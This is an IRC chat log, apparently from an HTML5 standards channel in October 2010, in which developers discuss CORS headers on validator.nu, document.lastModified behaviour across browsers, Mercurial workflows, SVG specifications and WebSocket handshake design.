[05:12:01.0000] <jgraham>
You could try the latest version from mercurial

[05:12:02.0000] <jgraham>
What are you actually trying to achieve?

[05:13:00.0000] <jgraham>
I mean wy do you care about the parse error?

[05:13:01.0000] <kuya>
im trying to use html5lib as a validator 

[05:13:02.0000] <kuya>
is that a dumb idea?

[05:13:03.0000] <jgraham>
Oh, that sounds like a bad idea :)

[05:13:04.0000] <kuya>
ergh

[05:13:05.0000] <jgraham>
I mean it should theoretically tell you about misnested tags

[05:14:00.0000] <jgraham>
But it knows nothing of content models or restrictions on attribute values, for example

[05:14:01.0000] <jgraham>
Maybe you could run a local instance of validator.nu to get the effect you want?

[05:14:02.0000] <zcorpan>
Philip`: if the author uses his own DTD then he doesn't need to read the note

[05:15:00.0000] <kuya>
jgraham: i was hoping to not have to run a whole instance of that... but if its my best bet i guess ill have to 

[05:16:00.0000] <jgraham>
kuya: Well it depends on your needs. But adding true validation to html5lib would be highly non-trivial

[05:17:00.0000] <zcorpan>
kuya: http://about.validator.nu/#api

[05:17:01.0000] <kuya>
ok thanks for the info jgraham 

[05:21:00.0000] <Philip`>
zcorpan: You're assuming the authors understands all the details of XML, and the purpose of the escaping note was to be for people who don't understand XML (but are using it anyway) and need the HTML5 spec to tell them about it

[05:23:00.0000] <Philip`>
I suppose it just seems odd to give specific advice that is only partially correct

[05:23:01.0000] <zcorpan>
Philip`: i'm assuming that no-one is going to change srcdoc from being CDATA

[05:24:00.0000] <zcorpan>
and if they do then they understand the concequences

[05:29:00.0000] <jgraham>
zcorpan: That doesn't really fit with the "monkies with guns" model of web developers

[05:29:01.0000] <jgraham>
monkeys maybe

[06:11:00.0000] <kuya>
does anyone some js that posts data to validator.nu? for some reason i cant do it 

[06:13:00.0000] <zcorpan>
doesn't XMLHttpRequest work?

[06:13:01.0000] <zcorpan>
or a form?

[06:14:00.0000] <kuya>
afaict this should work $.ajax({url:'http://localhost:8888/', type: 'POST', data: 'some_html', success: function(d) { console.log(d); }})

[06:15:00.0000] <kuya>
but i get nothing back and the request looks totally screwy in firebug 

[06:18:00.0000] <zcorpan>
oh, i guess it's because it's a cross-origin request

[06:18:01.0000] <kuya>
it comes back looking like an OPTIONS request (wth that is)

[06:19:00.0000] <zcorpan>
have a look at the xmlhttprequest level 2 spec and the CORS spec

[06:20:00.0000] <zcorpan>
this is because it's cross-origin

[06:21:00.0000] <zcorpan>
if your page is on http://localhost/ then it's cross-origin because the port is different

[06:22:00.0000] <zcorpan>
if you serve your page from http://localhost:8888/ also then it should work without the preflight CORS stuff

[06:22:01.0000] <kuya>
hrm

[06:22:02.0000] <kuya>
cant serve two apps from the same port :S

[06:22:03.0000] <kuya>
maybe i can stick in a little proxy 

[06:23:00.0000] <zcorpan>
well, i think validator.nu should support CORS so unless i'm mistaken it should just work

[06:25:00.0000] <kuya>
i dont quite understand what your telling me about CORS

[06:30:00.0000] <zcorpan>
ok. traditionally browsers haven't allowed cross-origin requests in XHR at all

[06:30:01.0000] <zcorpan>
a new spec called CORS changed that by letting the server opt-in to cross-origin XHR

[06:31:00.0000] <zcorpan>
but it does that by doing a pre-flight request for POST before doing teh real request

[06:32:00.0000] <zcorpan>
validator.nu should support this so I don't know why it doesn't work for you, but at least it explains what you see in firebug

[06:32:01.0000] <kuya>
ah ok 

[06:32:02.0000] <kuya>
i think i follow 

[06:32:03.0000] <kuya>
i certainly see some headers regarding this CORS stuff 

[06:33:00.0000] <kuya>
but im no closer to making it actually work hehe 

[06:33:01.0000] <zcorpan>
the browser should do the magic for you in theory :)

[06:36:00.0000] <kuya>
i get exactly the same problem trying to do the request to validator.nu so its not to do with my local install 

[06:50:00.0000] <kuya>
ah i think i get the problem 

[07:13:00.0000] <kuya>
/me fail

[07:13:01.0000] <KaOSoFt>
http://www.blambot.com/grammar.shtml

[07:13:02.0000] <kuya>
if anyone can do a cors ajax request to validator.nu please tell me 

[07:15:00.0000] <hsivonen>
has the CORS spec changed from the headers that validator.nu sends?

[07:26:00.0000] <zcorpan>
the headers are here http://dev.w3.org/2006/waf/access-control/#syntax

[07:32:00.0000] <hsivonen>
kuya: the spec has changed and v.nu hasn't kept up :-(

[07:32:01.0000] <kuya>
ah ok 

[07:33:00.0000] <kuya>
im proxy requests to it now to side step the problem 

[07:33:01.0000] <kuya>
im not hacking java 

[07:33:02.0000] <zcorpan>
kuya: you could file a bug in bugzilla.validator.nu so hsivonen can fix it at some point

[07:33:03.0000] <zcorpan>
(or someone else)

[07:33:04.0000] <hsivonen>
annevk: just curious, when the header names changed anyway, why didn't you get rid of the "Access-Control-" prefix and use a "CORS-" prefix?

[07:34:00.0000] <annevk>
when did the header names change?

[07:34:01.0000] <annevk>
oh, I see

[07:34:02.0000] <hsivonen>
so now I send Access-Control: allow <*>

[07:34:03.0000] <hsivonen>
is Access-Control-Allow-Origin: * what I need to send instead?

[07:34:04.0000] <annevk>
yes

[07:35:00.0000] <annevk>
the header names changed before I renamed the draft to something more appropriate

[07:35:01.0000] <hsivonen>
annevk: ok

[07:35:02.0000] <annevk>
the header names changed around August 2008, the next publication that called it CORS was in March 2009

[07:36:00.0000] <hsivonen>
I see

[07:36:01.0000] <hsivonen>
so v.nu has been broken for 2 years...

[07:36:02.0000] <annevk>
and nobody noticed...

[07:37:00.0000] <annevk>
I have repeatedly suggested changing the header names, but since Microsoft has some deployment sicking is not really open to it

[07:37:01.0000] <annevk>
Microsoft shipped IE8 around that time, I think that made the whole thing stuck

[07:38:00.0000] <hsivonen>
annevk: I think it's better not to bikeshed names after browsers have shipped

[07:39:00.0000] <hsivonen>
grumble, grumble. looks like I need to use Access-Control-Allow-Methods, too

[07:39:01.0000] <hsivonen>
apparently in addition to Allow

[07:40:00.0000] <hsivonen>
/me wonders what the rationale is

[07:40:01.0000] <zcorpan>
maybe you just want to allow GET in the normal case?

[07:41:00.0000] <zcorpan>
/me hasn't followed CORS stuff

[07:41:01.0000] <hsivonen>
Hmm. I have access-control-policy-path

[07:41:02.0000] <hsivonen>
that's no longer in the spec, either

[07:41:03.0000] <annevk>
hsivonen, the whole specific opt-in was something from the Mozilla security team

[07:41:04.0000] <hsivonen>
annevk: what should I replace the policy path with?

[07:42:00.0000] <annevk>
there's no replacement

[07:42:01.0000] <annevk>
just need to make sure you allow for each URL

[07:43:00.0000] <hsivonen>
annevk: so I'll just zap that header...

[07:43:01.0000] <annevk>
right

[07:50:00.0000] <hsivonen>
kuya: does it work for you now?

[07:51:00.0000] <hsivonen>
/me redeployed v.nu with now CORS headers

[07:51:01.0000] <kuya>
ooh

[07:52:00.0000] <kuya>
thanks hsivonen i will check in a moment 

[07:55:00.0000] <hsivonen>
s/now/new/

[07:59:00.0000] <kuya>
i cant seem to construct a request via js that validator.nu will accept 

[07:59:01.0000] <kuya>
/me just tried hand crafting a multipart request and failed 

[08:03:00.0000] <kuya>
hsivonen: would supporting application/x-www-form-urlencoded be very hard?

[08:05:00.0000] <kuya>
oh wow i just did it 

[08:05:01.0000] <kuya>
i was being dumb 

[08:09:00.0000] <kuya>
hsivonen: CORS now works :)

[08:09:01.0000] <kuya>
hsivonen: im sending the content as the POST body - but adding ?out=json returns nothing 

[08:10:00.0000] <kuya>
nope i lieing 

[08:10:01.0000] <kuya>
works now with CORS

[08:10:02.0000] <kuya>
woot

[11:41:00.0000] <bluejay2>
is this the chan for html5?

[11:41:01.0000] <KaOSoFt>
Web technologies, mostly, including of course HTML5.

[11:43:00.0000] <bluejay2>
Cool. I've worked on a method to allow a user to download a file encoded in base64 via URL string but of course browsers have a URL size limit, so I want to explore the possibilities of using localstorage for file downloading.

[11:43:01.0000] <bluejay2>
I've read about the file "uploading" via drag and drop, very awesome, but haven't found an example of downloading a file other than plain ascii text 

[11:56:00.0000] <TabAtkins>
bluejay2: You'll want the FileSystem API and/or FileWriter API.  Neither are implemented publicly yet, though.

[11:57:00.0000] <TabAtkins>
Currently file downloading is usually done by passing the information back to the server and then opening an iframe to the server, where the server can then present the information back with appropriate headers to trigger a download.

[12:07:00.0000] <bluejay2>
TabAtkins: What do you think the ETA is for filewriter support in browsers?

[12:20:00.0000] <TabAtkins>
bluejay2: No clue, but since it's Chrome people writing the spec, it'll probably show up in Chrome/Webkit first.

[12:32:00.0000] <Ms2ger>
"I am usually the one to argue for orthogonality"

[12:32:01.0000] <Ms2ger>
Who can guess the author?

[12:38:00.0000] <jgraham>
trick question?

[12:38:01.0000] <Ms2ger>
Nope

[12:43:00.0000] <svl>
Shelby!

[12:56:00.0000] <Ms2ger>
svl, you win an axiomatic proof!

[12:59:00.0000] <svl>
\o/

[12:59:01.0000] <svl>
/me fears

[13:01:00.0000] <Ms2ger>
Hixie, ping

[13:53:00.0000] <Hixie>
Ms2ger: here

[13:54:00.0000] <Ms2ger>
Hixie, I filed a bug to remove the File API exceptions, as they now use a separate counter

[14:02:00.0000] <Hixie>
k

[14:40:00.0000] <heycam>
"polyglot heartbeat" sounds like a terrible condition to have

[14:43:00.0000] <karlcow>
heycam: sounds to me inter-ethnic love :)

[15:01:00.0000] <Ms2ger>
"W3C Invites Implementations of CSS Style Attributes"

[15:01:01.0000] <Ms2ger>
Also, http://twitter.com/sgalineau/status/27374482354

[15:02:00.0000] <annevk>
CSS WG comedy week :)

[15:14:00.0000] <karlcow>
discovering http://www.gnu.org/software/pythonwebkit/

[15:15:00.0000] <karlcow>
"Python-Webkit is a python extension to Webkit to add full, complete access to Webkit's DOM - Document Object Model."

[15:15:01.0000] <karlcow>
the repository seems to be active http://git.savannah.gnu.org/cgit/pythonwebkit.git

[15:30:00.0000] <hober>
heycam: it'd be a good band name


2010-10-15
[18:47:00.0000] <AryehGregor>
Does http://blogs.msdn.com/b/ie/archive/2010/10/14/user-experience-evolving-ie9-tabs-in-windows-7.aspx use 100% CPU in Chrome, and scroll really slowly? for anyone else?

[18:47:01.0000] <AryehGregor>
s/\?/,/

[18:49:00.0000] <AryehGregor>
I can reproduce with just a video.  Scrolling here is really slow: data:text/html,<!doctype html><video src="http://ecn.channel9.msdn.com/o9/ch9/1996/75b453d1-b8e5-4f9e-b295-9e0c016b1996/IE910112010A_ch9.mp4" controls preload="metadata"></video><div style="height:1000em"></div>

[18:49:01.0000] <AryehGregor>
Guess I should report a bug.

[18:49:02.0000] <AryehGregor>
. . . tomorrow.

[18:50:00.0000] <AryehGregor>
(it really messes up Google Reader for me whenever there's an IEBlog post with video)

[18:50:01.0000] <AryehGregor>
(needless to say, I'm using dev channel here)

[18:51:00.0000] <AryehGregor>
Hmm, maybe it's trying to use hardware acceleration and hitting nouveau, which is probably even slower than just doing it in software?

[18:56:00.0000] <variable>
is there any way to represent a physical page in HTML or CSS ? ie I want to tell the browser to make a new page when printed

[18:57:00.0000] <heycam>
variable, you can use the page-break-before and page-break-after css properties

[18:57:01.0000] <heycam>
to force a break somewhere

[18:57:02.0000] <heycam>
(do browsers look at those? i've only used them (successfully) with prince.)

[20:05:00.0000] <dbaron>
Why is the rendering section not in the W3C copy of HTML5?

[20:05:01.0000] <jacobolus>
anyone know what the state in browsers of SVG Compositing is? http://www.w3.org/TR/2009/WD-SVGCompositing-20090430/

[20:13:00.0000] <heycam>
jacobolus, i don't know of implementations in browsers

[20:14:00.0000] <othermaciej>
me neither

[20:14:01.0000] <jacobolus>
safari nightlies don't seem to do it anyway

[20:14:02.0000] <jacobolus>
are browsers planning to implement it sometime?

[20:14:03.0000] <othermaciej>
(I wasn't aware this even existed for that matter)

[20:14:04.0000] <jacobolus>
it could be pretty handy

[20:15:00.0000] <jacobolus>
the spec seems to be written well enough

[20:17:00.0000] <jacobolus>
I think it's part of SVG 1.2?

[20:18:00.0000] <jacobolus>
http://www.w3.org/TR/2002/WD-SVG2Reqs-20020422/

[20:18:01.0000] <heycam>
jacobolus, yeah used to be a part of the unfinished SVG 1.2 Full draft

[20:19:00.0000] <heycam>
which is from around 2004 or something

[20:19:01.0000] <jacobolus>
aha

[20:19:02.0000] <jacobolus>
is there any chance svg 1.2/2.0 will ever happen?

[20:19:03.0000] <heycam>
then recently (a couple of years ago) we started splitting things out of that into separate specs

[20:19:04.0000] <jacobolus>
or are browsers all aiming for 1.1 for the next few years?

[20:19:05.0000] <heycam>
there'll be no such thing as 1.2 full

[20:19:06.0000] <jacobolus>
just like w/ css3 or so?

[20:20:00.0000] <heycam>
1.1 second edition will be published soon enough (which is just 1.1 plus corrections)

[20:20:01.0000] <heycam>
and 2.0 will be the next worked on version

[20:20:02.0000] <jacobolus>
are browsers interested in implementing any of it before the spec is somewhat final?

[20:20:03.0000] <jacobolus>
I don't really follow such things

[20:21:00.0000] <jacobolus>
IOW, should I pay any attention to SVG2, or just come back and see in 5 years?

[20:21:01.0000] <heycam>
heh i dunno about 5 years :)

[20:21:02.0000] <jacobolus>
10?

[20:21:03.0000] <heycam>
and i'm only just back into it so i don't know what it's current status is

[20:21:04.0000] <jacobolus>
:p

[20:22:00.0000] <heycam>
i guess this is the current state of SVG 2 -- http://dev.w3.org/SVG/profiles/2.0/publish/expanded-toc.html :)

[20:54:00.0000] <roc>
TabAtkins: do you have a Mozilla Bugzilla ID?

[20:59:00.0000] <roc>
/me finds it

[21:14:00.0000] <TabAtkins>
roc: What did you need my bugzilla for?

[21:14:01.0000] <TabAtkins>
Oh, wait, I see.

[21:14:02.0000] <TabAtkins>
/me should check his email first.

[21:14:03.0000] <roc>
no, I should have checked MY email first :-)

[03:12:00.0000] <annevk>
dbaron, if you read the logs, afaict the W3C copy of HTML5 does have the rendering section

[03:14:00.0000] <jgraham>
/me wonders what reduced abarth to tears

[03:18:00.0000] <zcorpan>
maybe dbaron was reading the author version?

[03:31:00.0000] <abarth|tears>
jgraham: sending two hours fixing up someone's webkit patch only to discover that the code doesn't work at all

[03:31:01.0000] <abarth|tears>
i felt sympathy for all the silly ChangeLog / test idioms / etc junk that new contributors have to learn

[03:32:00.0000] <abarth|tears>
but, in the end, the code can't possibly work because we don't even use the files he's modifying on Mac :(

[03:34:00.0000] <Philip`>
(Has anyone got around to doing decent benchmarks of WebP yet?)

[03:41:00.0000] <hsivonen>
https://twitter.com/#!/glazou/status/27425504699

[03:42:00.0000] <slartsa>
oh my, not much progress in <device>

[03:54:00.0000] <virtuelv>
/me wonders who wrote http://dev.w3.org/html5/spec-author-view/

[03:55:00.0000] <virtuelv>
hasather pointed out that it uses  ol.toc { content: ""; } which is only supported in Opera, and renders the ToC inaccessible

[03:55:01.0000] <annevk>
I have had this so often: http://xkcd.com/806/

[03:56:00.0000] <annevk>
KPN sucks

[03:56:01.0000] <annevk>
/me switched to a different provider that just works

[04:07:00.0000] <slartsa>
haha :D

[04:10:00.0000] <zcorpan>
why is there no ToC in http://dev.w3.org/html5/spec-author-view/ in opera?

[04:11:00.0000] <zcorpan>
oh, what virtuelv said

[04:24:00.0000] <jgraham>
virtuelv: MikeSmith, I guess

[05:35:00.0000] <VirAlex>
hello

[05:36:00.0000] <slartsa>
hello, how are you?

[05:37:00.0000] <VirAlex>
slartsa ������ �������.

[05:37:01.0000] <VirAlex>
��� ����� ������ ������ �� ������ ���������� w3c ?

[05:37:02.0000] <VirAlex>
well thank you.

[05:37:03.0000] <VirAlex>
here you can ask a question about standards w3c?

[05:37:04.0000] <VirAlex>
I am interested the class new Audio

[05:38:00.0000] <annevk>
sure, but this is not the W3C

[05:38:01.0000] <jgraham>
VirAlex: The best thing is just to ask

[05:39:00.0000] <jgraham>
Rather than meta-asking first

[05:41:00.0000] <VirAlex>
well, can read and write in the audio stream from javascript?

[05:41:01.0000] <VirAlex>
that this function is supported by the Chrome, FireFox, IE9 and Opera 10.5 +

[05:42:00.0000] <jgraham>
No, although Chrome and Firefox are developing experimental APIs in that area and there is some standards work starting up

[05:45:00.0000] <VirAlex>
Yes I have seen audio API in FireFox. but all the methods and properties of the class audio have the prefix "moz", ie obviously work suddenly browsers will not.

[05:45:01.0000] <VirAlex>
If any standards in this area? (Read / write to a stream)

[05:45:02.0000] <VirAlex>
These standards can be expected? there are recommendations w3c?

[05:45:03.0000] <jgraham>
The standards work is just getting going

[05:45:04.0000] <jgraham>
Nothing concrete yet

[05:46:00.0000] <VirAlex>
thanks!

[06:28:00.0000] <zcorpan>
lol, there's a green spot in the middle of my screen and i couldn't for the life of me figure out where it was coming from. turns out it was the sun light on the back of the screen going through the apple icon but not the other parts of the screen

[06:45:00.0000] <jgraham>
So, pop quiz

[06:46:00.0000] <jgraham>
What's the easiest way to replicate git stash in mercurial?

[06:47:00.0000] <jgraham>
Where are all the mozilla people when you need them? :)

[06:47:01.0000] <zcorpan>
/me solves the problem by putting an opera logo over the apple logo

[06:47:02.0000] <jcranmer>
if I knew what git stash did...

[06:49:00.0000] <hsivonen>
/me has no idea what git stash does

[06:50:00.0000] <jgraham>
It saves the changes in your working tree (on a local branch as it happens) giving you a clean repositoty to pull into. It then lets you reapply those changes later on 

[06:50:01.0000] <jgraham>
http://www.kernel.org/pub/software/scm/git/docs/git-stash.html

[06:51:00.0000] <hsivonen>
jgraham: sounds like the nested repo provided by Merqurial Queues

[06:51:01.0000] <jcranmer>
hg qnew <some patch name> && hg qpop

[06:51:02.0000] <jgraham>
hsivonen: So that's what I thought

[06:51:03.0000] <jgraham>
But the situation is this

[06:51:04.0000] <hsivonen>
jgraham: so I have a repo of my patch queue: http://hg.mozilla.org/users/hsivonen_iki.fi/patches

[06:51:05.0000] <jgraham>
I want to stash the local changes

[06:52:00.0000] <jgraham>
Pull and merge

[06:52:01.0000] <jgraham>
and push the result

[06:52:02.0000] <jcranmer>
well then

[06:52:03.0000] <jgraham>
and then reapply the local changes

[06:52:04.0000] <jgraham>
I don't know how to do that with mq

[06:52:05.0000] <jcranmer>
make the patch, pop it off

[06:52:06.0000] <hsivonen>
jgraham: don't you want to *rebase* the local changes while at it?

[06:52:07.0000] <jcranmer>
pull, do the merge, push, hg qpush in the end

[06:52:08.0000] <jgraham>
and my naive attempts gave error messages

[06:52:09.0000] <hsivonen>
jgraham: have you enabled mq?

[06:53:00.0000] <jgraham>
hsivonen: Sure, that somes for free with git :)

[06:53:01.0000] <jgraham>
hsivonen: Yes

[06:53:02.0000] <jgraham>
and I have added the local stuff to a patch

[06:53:03.0000] <jgraham>
and I have pulled and merged

[06:53:04.0000] <jgraham>
and now I am stuck

[06:53:05.0000] <hsivonen>
jgraham: is the patch in mq?

[06:53:06.0000] <jgraham>
trying to commit the merge

[06:53:07.0000] <jgraham>
hsivonen: yes

[06:53:08.0000] <jgraham>
(the local patch, that is)

[06:54:00.0000] <hsivonen>
jgraham: did you pull with hg pull --rebase otherrepo?

[06:54:01.0000] <jgraham>
No, but I'm starting to wish I had :)

[06:54:02.0000] <hsivonen>
well, there's your problem

[06:54:03.0000] <hsivonen>
so, first apply all the patches in mq you want to rebase

[06:54:04.0000] <hsivonen>
then do

[06:54:05.0000] <hsivonen>
hg pull --rebase otherrepo

[06:55:00.0000] <hsivonen>
*but*

[06:55:01.0000] <hsivonen>
before you do, make sure you have a merge tool configured and you know how to use it

[06:55:02.0000] <jgraham>
Right, the problem is that it's not clear to me how to get from where I am to there without starting again

[06:56:00.0000] <hsivonen>
did you pull with mq patches applied or unapplied?

[06:56:01.0000] <jgraham>
Applied, it seems

[06:57:00.0000] <jgraham>
No wait

[06:57:01.0000] <jgraham>
That makes no sense

[06:58:00.0000] <jgraham>
Oh I'm sonfused

[06:58:01.0000] <jgraham>
*confused

[06:58:02.0000] <jgraham>
Anyway I guess I can work it out

[06:58:03.0000] <hsivonen>
if you had mq patches applied and you pulled without --rebase, I have no idea what kind of mess you've gotten your repo into or how to recover

[06:58:04.0000] <jgraham>
I never thought I would be prasing git for its usability

[06:59:00.0000] <jcranmer>
hsivonen: it's relatively fine unless you updated off of the mq series

[06:59:01.0000] <jgraham>
Thanks for the help

[07:55:00.0000] <karlcow>
/me made more tests for document.lastModified and he is crying :)

[07:58:00.0000] <jgraham>
I find writing tests often has that effect

[07:59:00.0000] <Philip`>
It's more fun to write tests that make other people cry

[08:00:00.0000] <karlcow>
hehe

[08:00:01.0000] <jgraham>
If you want to do that join one of those parental testing companies

[08:00:02.0000] <jgraham>
Make some DNA tests

[08:01:00.0000] <KaOSoFt>
._.

[08:02:00.0000] <karlcow>
realized that document.lastModified in firefox4.0b6 and ie8 returns (when HTTP Last-Modified *is* specified) the date for the local timezone

[08:02:01.0000] <karlcow>
HTTP says Last-Modified: Wed, 13 Oct 2010 17:11:52 GMT

[08:03:00.0000] <karlcow>
IE8 et Firefox 4.0b6 say 10/13/2010 13:11:52

[08:03:01.0000] <karlcow>
Opera and Webkit say Wed, 13 Oct 2010 17:11:52 GMT

[08:04:00.0000] <karlcow>
HTML5 says MM/DD/YYYY HH:MM:SS (without specifying if timezone matters)

[08:04:01.0000] <karlcow>
but it is worse when HTTP Last-Modified

[08:04:02.0000] <karlcow>
is not specified

[08:05:00.0000] <karlcow>
Opera 10.63 - January 1, 1970 GMT

[08:05:01.0000] <karlcow>
Safari 5.0.2 - Nil

[08:05:02.0000] <karlcow>
chrome v6.0.472.63 - Nil

[08:05:03.0000] <karlcow>
Firefox 4.0b6 - 10/13/2010 14:36:31 (date of the cache)

[08:05:04.0000] <karlcow>
IE8 - 10/13/2010 14:53:22 (date of now)

[08:05:05.0000] <karlcow>
HTML5 says date of now (without saying anything about the timezone either)

[09:21:00.0000] <AryehGregor>
There's no standard that defines exactly when onclick fires, is there?  Like left-click versus middle-click?

[09:23:00.0000] <annevk>
that's a UI convention

[09:48:00.0000] <AryehGregor>
Man, why is it so hard to get a two-byte patch to the GNOME clock thingie reviewed?

[09:49:00.0000] <AryehGregor>
("applet" is the word I was looking for)

[10:05:00.0000] <AryehGregor>
What's with all the recent spam in the bug tracker?

[10:07:00.0000] <Hixie>
i added a form to the w3c copy's intro

[10:07:01.0000] <Hixie>
it apparently needs some work to filter out the non-serious people

[10:13:00.0000] <jgraham>
Hixie: At the moment the W3C copy seems to claim that it is out of date and link to itself

[10:15:00.0000] <annevk>
should click also fire for rightclick?

[10:15:01.0000] <annevk>
or does that just give contextmenu events these days?

[10:15:02.0000] <TabAtkins_>
jgraham: It's simultaneously the most recent version and out of date.  What's hard to understand?

[10:16:00.0000] <annevk>
it's just the WD-in-process version hosted at the editor's draft location

[10:16:01.0000] <annevk>
happens all the time around publication time

[10:22:00.0000] <Philip`>
Sounds like an excellent opportunity to overcomplicate things by forking WD branches from the ED spec trunk

[10:24:00.0000] <annevk>
can't wait for one of the people who doesn't do any work to suggest that

[10:24:01.0000] <annevk>
what's up with all the rain btw

[10:24:02.0000] <annevk>
pretty much all day

[10:31:00.0000] <annevk>
in http://www.whatwg.org/specs/web-apps/current-work/complete.html#multipart/form-data-encoding-algorithm does the last paragraph indicate a willful violation we should call out?

[10:31:01.0000] <annevk>
i.e. something we might want to update RFC 2388 for one day?

[10:35:00.0000] <AryehGregor>
/me lols at the kitchen sink picture

[10:39:00.0000] <AryehGregor>
So it looks like in Mercurial, rather than using rebasing like in git, people tend to use mq, which accomplishes more or less the same thing.

[10:39:01.0000] <AryehGregor>
Except I guess the patches are explicitly named?

[10:40:00.0000] <annevk>
the former head of Adobe's mobile devision is now Mozilla's new CEO?

[10:42:00.0000] <AryehGregor>
I don't know, because apparently no one at Wikipedia has figured out he's notable yet, so I have no superficially reliable source of information to consult.

[10:43:00.0000] <Philip`>
AryehGregor: They are explicitly named

[10:44:00.0000] <Philip`>
/me has ~300 patches on one project and keeps running out of original names to use

[10:44:01.0000] <Philip`>
so I just stick numbers at the end of patch names if it complains I've already got one called that

[10:44:02.0000] <annevk>
AryehGregor, http://blog.mozilla.com/blog/2010/10/14/introducing-our-new-ceo-gary-kovacs/ is not reliable? oh, I gues it's a blog

[10:44:03.0000] <AryehGregor>
I just use git rebase for that, but admittedly it can get a bit confusing to cross-correlate the patches if I have two copies rebased to two different pieces of code.

[10:45:00.0000] <AryehGregor>
annevk, no, no, that's an official organizational blog, it's reliable.  Like a press release.  But no one's bothered to create the article yet, it seems.

[10:47:00.0000] <AryehGregor>
Possibly he's not notable yet: http://en.wikipedia.org/wiki/Wikipedia:Notability_(people)

[10:47:01.0000] <AryehGregor>
I bet the article would stick if someone created it, though.  Just no one has.

[10:47:02.0000] <AryehGregor>
/me gives it a few more days


2010-10-16
[13:34:00.0000] <krijnh>
Poof


2010-10-17
[20:31:00.0000] <Hixie>
Dashiva: that quote applies to RDF, too

[20:31:01.0000] <Hixie>
(solving a different problem)

[01:08:00.0000] <JonathanNeal>
howdy!

[02:14:00.0000] <annevk>
/me got tickets for TPAC

[04:21:00.0000] <boblet>
hey all, I thought I read on the twitterz that microdata was in Webkit trunk now, but API support at least is not. anyone know about browser microdata implementation? (I found the Mozilla bug, so apart from Firefox)

[08:28:00.0000] <JonathanNeal>
howdy

[08:38:00.0000] <boblet>
Hey JonathanNeal

[08:38:01.0000] <boblet>
nn all

[15:14:00.0000] <AryehGregor>
Python is such an awesome language.

[15:15:00.0000] <AryehGregor>
Its standard libraries alone are just pure awesome.

[15:15:01.0000] <micheil>
JavaScript is more awesome.

[15:15:02.0000] <AryehGregor>
Like: http://docs.python.org/library/os.html#os.tmpfile

[15:15:03.0000] <micheil>
:P

[15:15:04.0000] <AryehGregor>
JavaScript has like no standard library.

[15:15:05.0000] <micheil>
yeah, tmpfile is in C

[15:15:06.0000] <AryehGregor>
It's terrible.

[15:15:07.0000] <micheil>
AryehGregor: depends where you're using it.

[15:15:08.0000] <AryehGregor>
"Standard" means "always available".

[15:15:09.0000] <micheil>
we have a standard library in node.js

[15:15:10.0000] <AryehGregor>
Not "available only in some implementations."

[15:16:00.0000] <AryehGregor>
(Yes, C has good libraries too, I guess, but it's not a scripting language, so it's horrible in all sorts of other ways.  Although also elegant, in its own way.  And . . . fast.)

[15:16:01.0000] <Dashiva>
What do you call Math, Number, etc?

[15:16:02.0000] <AryehGregor>
I call them "minimal".

[15:17:00.0000] <miketaylr>
window.alert() is the best standard lib around

[15:17:01.0000] <AryehGregor>
Python's math-related standard libraries: http://docs.python.org/library/numeric.html

[15:17:02.0000] <AryehGregor>
It has stuff like random.lognormvariate() in its standard library.

[15:17:03.0000] <AryehGregor>
Which I just used in a program, incidentally.

[15:18:00.0000] <Dashiva>
Imagine how many awesome browser incompatabilities we'd have with that library size

[15:18:01.0000] <Philip`>
Implement the whole library in JS and have all the browsers share the code

[15:18:02.0000] <AryehGregor>
You could write a public-domain reference implementation in JavaScript and make it part of the standard.  Then let browsers reimplement it only if their implementations behave the same as the reference one.

[15:18:03.0000] <AryehGregor>
Yeah.

[15:18:04.0000] <AryehGregor>
What he said.

[15:19:00.0000] <AryehGregor>
I'm pretty sure most of Python's standard libraries are written in Python, so they're shared with other implementations.

[15:20:00.0000] <micheil>
pah. scripting languages suck. Programming languages are what you want :P


2010-10-18
[18:45:00.0000] <m0>
Why can't WebWorkers interact with Plugins?

[18:46:00.0000] <m0>
If I want to create an infinite loop that pings a plugin, that cannot live within a worker, the spec doesn't allow that.

[18:54:00.0000] <Hixie>
don't use plugins :-)

[18:54:01.0000] <boogyman>
^ ++

[19:37:00.0000] <m0>
Hixie: well, I want to prove to W3C about an Idea I have, and I need a plugin to do that :(

[19:37:01.0000] <m0>
Until the <device> tag gets implemented, because I want to put another "type" for "haptics"

[19:45:00.0000] <Hixie>
i'd recommend just implementing it in an open source browser (making a custom build) rather than making a plugin

[19:58:00.0000] <m0>
I thought about that, but when talking with the devs who are implementing <device> for Chromium, they said a plugin would be good at first :s I guess I am implementing this all wrong then :( I want to be able to send stuff back and forth between HTML5 Canvas and my external device. 

[20:01:00.0000] <m0>
I am trying to experiment stuff in my spare time, to help blind people use the browser. The device can send out 1000 positions per second. So I thought I can create a NPAPI plugin, that communicates to the Device, and within the Canvas/WebGL I can communicate back and forth to the device.

[20:02:00.0000] <m0>
And the plugin can be installed an an extension. But I have no idea how to let a WebWorker access the plugin arrg :) Thanks for your time :-)

[22:30:00.0000] <Hixie>
m0: what kind of device?

[01:17:00.0000] <wirepair>
interesting... http://www.shodanhq.com/?q=Access-Control-Allow-Origin

[01:17:01.0000] <wirepair>
i guess 'use * sparingly' means 90% of people should use *

[01:17:02.0000] <wirepair>
/me sighs

[01:28:00.0000] <jgraham>
AryehGregor: You probably want http://docs.python.org/library/tempfile.html if you need temp files

[01:40:00.0000] <jgraham>
micheil: I would really try to avoid supporting versions of the protocol that are not supported by an actual browser

[01:41:00.0000] <jgraham>
In particular I think it is worth pushing at this stage for the new handshake so that we have -00 with the old handshake and then a version with the new handshake

[02:29:00.0000] <micheil>
fair enough

[02:29:01.0000] <micheil>
I just am looking for practice in writing a state machine binary parser

[02:32:00.0000] <jgraham>
If you want to so something super-useful write a client / server implementation of -03 with the abarth handshake for testing

[02:33:00.0000] <jgraham>
If it turns out to be impossibly difficult because of e.g. the AES requirement that is useful information

[02:33:01.0000] <jgraham>
And we can use it to inform the AES vs XOR discussion

[02:41:00.0000] <roc>
AES, really?

[02:43:00.0000] <micheil>
jgraham: hmm..

[02:43:01.0000] <micheil>
I've never done anything with AES

[02:45:00.0000] <micheil>
jgraham: however, I could make an early guess and say implementing his handshake may be easy, considering openSSL has AES implemented in it by the looks

[02:48:00.0000] <jgraham>
micheil: Yeah, the idea is that you just use libraries

[02:48:01.0000] <micheil>
jgraham: yeah

[02:49:00.0000] <jgraham>
roc: Why "really?"?

[02:49:01.0000] <micheil>
jgraham: I'll admit at first it sounds over the top

[02:50:00.0000] <jgraham>
micheil: In what sense?

[02:51:00.0000] <micheil>
well, the idea of encrypting something like websockets for the case of restricting cross protocol attacks just seems odd at first

[02:51:01.0000] <micheil>
but then when you see an actual exploit written and tested, it makes sense

[03:04:00.0000] <jgraham>
It is kinda unnerving to have a whole screenful of useful technical discussion on public-html

